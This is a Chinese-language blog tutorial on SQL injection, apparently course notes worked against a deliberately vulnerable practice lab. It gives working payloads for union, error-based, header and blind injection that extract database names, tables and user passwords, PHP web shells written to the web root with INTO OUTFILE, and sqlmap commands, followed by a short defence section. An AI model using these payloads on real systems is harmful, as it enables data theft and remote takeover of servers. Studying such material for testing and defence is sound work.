美文网首页
SQL Injection

SQL Injection

作者: 闭眼就能看得见 | 来源:发表于2019-03-16 13:52 被阅读0次

    整理自: https://www.ichunqiu.com/course/63879

    SQL Injection概述

    • 黑客在互联网区域构建sql语句,控制后台sql查询语句,实现攻击。

    二、SQL Injection 渗透测试流程

    第一步:注入点探测

    • 自动方式:使用web漏洞扫描工具,自动进行注入点发现
    • 手动方式:手工构造sql injection测试语句进行注入点发现

    第二步:信息获取

    • 通过注入点取期望得到的数据
    • 1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
    • 2.数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)

    第三步:获取权限

    • 获取操作系统权限:通过数据库执行shell,上传木马

    常见注入点类型

    • 数字型 user_id=$id
    • 字符型 user_id='$id'
    • 搜索型 text LIKE '%{_GET['search']}'"

    如何判断注入点的类型

    案例演示

    1.数字型注入演示

    • 打开目标站点,抓包分析,数字型=$id


      image.png
      image.png
      image.png
      image.png
    • 结合后端源码分析 ,后端获取的id值没有做处理直接拼接到sql语句中,select username,email from member where + 拼接的值,如果是1 or 1=1的话,会把member表中所有username,email都查询出来。


      image.png

    2.字符型注入演示

    • 根据浏览器url的变化,分析出为get请求,字符串型,字符串在select中要加''


      image.png
      image.png
    • 抓包


      image.png
    • 添加 or 1=1,失败


      image.png
    • 因为字符串会加'',所以name变量前边后台已经有一个'了,发送过去后,后台会再添加一个',所以select语句变量为'123 or 1=1'是查不到东西的。应该改成123' or 1=1# ,这样的话后台就变成了'123' or 1=1 ,#起注释的作用。
    image.png
    • 后端代码分析


      image.png

    搜索型注入

    image.png
    • 构造闭合


      image.png
    • 后台代码分析。对查询变量没有做处理,直接拼接到查询语句中了。


      image.png

    XX型

    • 后端源码分析可得构造闭合的方式


      image.png
    • 利用漏洞,构造闭合sql语句


      image.png
    • 总结:总而言之,就是对sql中的各种类型的输入进行闭合测试,构造合法sql,欺骗后台。

    union注入

    • union联合查询:可以通过联合查询来查询指定的数据
    • 用法举例: select username,password from user where id=1 union select 字段1,字段2from 表名 联合查询的字段数需要和主查询一致
    • 数据库中演示


      image.png
    • 如何判断主查询的字段数。构造的sql语句中 用order by 数字,按列排序来判断有几列


      image.png
    • 实践


      image.png
      image.png
      image.png
      image.png
      image.png

    information_schema注入

    • 知识点:
      information_schema mysql中的信息数据库,保存着mysql维护的其它数据库的信息。要了解两张表。1.tables表(提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表[引擎],创建时间等信息)中table_name 表名称、table_schema数据表所属的数据库名、table_type表类型[system view|base table]、engine使用的数据库引擎[MyISAM|CSV|InnoDB]、version版本,默认值10字段;2.COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。TABLE_SCHEMA 表格所属的库,TABLE_NAME 表名,COLUMN_NAME字名,ORDINAL_POSITION字段标识。


      image.png
      image.png
    • 所以获取用户名和密码字段的思路为:在找到注入点,判断出union 可用的字段后,判断出所用的数据库名字和用户名字,然后再information_schema中查看对应的数据库(table_schema)有哪几个表(table_name),然后在columns查看对应的表有哪些字段。

    • 测试是否存在注入点


      image.png
      image.png
      image.png
    • 判断查询有几个字段。两个。


      image.png
      image.png
      image.png
    • 判断数据库名字和用户名字


      image.png
    • 构造payload。获取表名 kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#


      image.png
    • 构造payload获取字段名
      kobe' union select table_name,column_name from information_schema.columns where table_name='users'#


      image.png

      *构造payload 获取内容
      kobe' union select username,password from users#


      image.png

    基于函数报错的注入

    • 知识点
    • 常用的报错函数updatexml()\extravalue()、floot()
    • 基于函数报错的信息获取(selelect/insert/update/delete)
    • 技巧思路
    • 在mysql中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。
    • 三个常用的用来报错的函数
      updatexml(): 函数是mysql对xml文档数据进行查询和修改的xpath函数
      作用:改变(查找并替换)xml文档中符合条件的节点的值
      语法:updatexml(xml_document,xpathstring,new_value)
      第一个参数:fiedname是string格式,为表中的字段名。
      第二个参数:xpathstring(xpath格式的字符串)
      第三个参数:new_value,string格式,替换查找到符合条件的
      xpath定位必须是有效的,否则会发生错误
      xpathstring可以是表达式,会执行
      extractvalue():函数也是mysql对xml文档数据进行查询的xpath函数。
      floor():mysql中用来取整的函数
    • 背景条件
    • 后台没有屏蔽数据库报错信息,在语法错误时会输出在最前端。

    演示

    *找到注入点后,构造payload。 l' and updatexml(1,version(),0)#


    image.png
    • 构造payload 输出完整结果 concat()将里边的数据拼接成字符串 l' and updatexml(1,concat(0x7e,version()),0)#


      image.png
    • l' and updatexml(1,concat(0x7e,database()),0)#


      image.png
    • l' and updatexml(1,concat(0x7e, (select username from users)),0)#


      image.png
    • l' and updatexml(1,concat(0x7e, (select username from users limit 0,1)),0)#


      image.png

    基于insert update delete的注入利用案

    image.png
    image.png
    image.png
    image.png
    image.png
    image.png
    image.png
    image.png
    image.png
    image.png
    image.png
    image.png
    image.png

    extractvalue()

    • 作用
    • 从目标xml中返回包含所查询值的字符串
      语法:extractvalue(xml_document,xpath_string)
      第一个参数:xml_document是string格式,为xml文档对象的名称,文中为doc
      第二个参数:xpath_string(xpath格式的字符串)
      xpath定位必须是有效的,否则会发生错误
    • 演示
    • 构造payload,s' and extractvalue(0,concat(0x7e,version()))#


      image.png
      image.png

    http header注入

    • 后台开发人员为了验证客户端头信息比如常用的cookie验证或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等
    • 会对客户端的http header信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑会导致基于http header的sql injection漏洞


      image.png
      image.png
      image.png
      image.png
    • firefox' or updatexml(1,concat(0x7e,database( )),0) or '


      image.png
      image.png
      image.png

    盲注

    • 什么是盲注以及常见的盲注类型
      服务器没有开启错误回显,屏蔽了报错信息。
    • 基于boolean(true or false)的盲注测试


      image.png
      image.png
      image.png
      image.png
      image.png
      image.png
      image.png
      image.png
      image.png
      image.png
      image.png
      image.png
      image.png
    • 构造paylod进行判断。
      kobe' and ascii(substr(database(),1,1))>113#


      image.png

      kobe' and ascii(substr(database(),1,1))>112#


      image.png
      kobe' and ascii(substr(database(),1,1))>111#
      image.png
      112 对应p

      盲注页面只返回正确的值或者输入错误。利用ascii进行判断;利用长度判断

    • 基于time的盲注测试


      image.png
      image.png

      ** kobe' and sleep(5)#


      image.png
      ** kobe' and if((substr(database()),1,1))='a',sleep(5),null)#
      image.png
      ** kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
      image.png

    对服务器远程控制案例

    • 一句话木马
    • 如何通过into outfile写入恶意代码并控制os

    ** select 1,2 into outfile " var/www/html/1.txt"
    ** into outfile 将select的结果写入到指定目录的1.txt中
    ** 在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
    前提条件
    1.需要知道远程目录
    2.需要远程目录有写权限
    3.需要数据库开启了secure_file_priv
    kobe' union select "<?php @eval(_GET['test'])?>",2 into outfile "C:\\xampp\\htdocs\\1.php"# ![image.png](https://img.haomeiwen.com/i14172142/81f29f646c0aaac8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ![image.png](https://img.haomeiwen.com/i14172142/9e665be802455a0f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ![image.png](https://img.haomeiwen.com/i14172142/ac65b4ceb8575d31.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ![image.png](https://img.haomeiwen.com/i14172142/c867f0f32ef1825a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) kobe' union select "<?php system(_GET['cmd'])?>",2 into outfile "C:\xampp\htdocs\2.php"#

    image.png
    image.png
    image.png

    暴力破解在sql中的应用

    • kobe' and exsits(select * from aa)#


      image.png
      image.png
      image.png
      image.png
      image.png

    sql漏洞防范

    • 代码层面
      1.对输入进行严格的转义和过滤
      2.使用预处理和参数化
      *网络层面
      1.通过waf设备启用sql injection注入策略(或类似防护系统)
      2.云端防护(360网站卫士,阿里云盾等)


      image.png

      推荐预处理


      image.png
      image.png
      image.png

    sqlmap简单使用方法

    经典用法
    第一步:
    -u "xxx" --cookie="yyy" //带上cookie对url进行注入探测
    第二部
    -u "xxx" --cookie="yyy" -current-db //对数据库名进行获取
    第三步:
    -u "xxx" --cookie="yyy" -D pikaku --tables //对数据库的表名进行枚举
    第四步:
    -u "xxx" --cookie="yyy" -D pikaku -T users ==columns //对
    pikaku里面名为users表的列名进行枚举


    image.png image.png
    image.png image.png image.png
    image.png
    image.png
    image.png
    image.png
    image.png image.png
    image.png
    image.png

    相关文章

      网友评论

          本文标题:SQL Injection

          本文链接:https://www.haomeiwen.com/subject/vrqhmqtx.html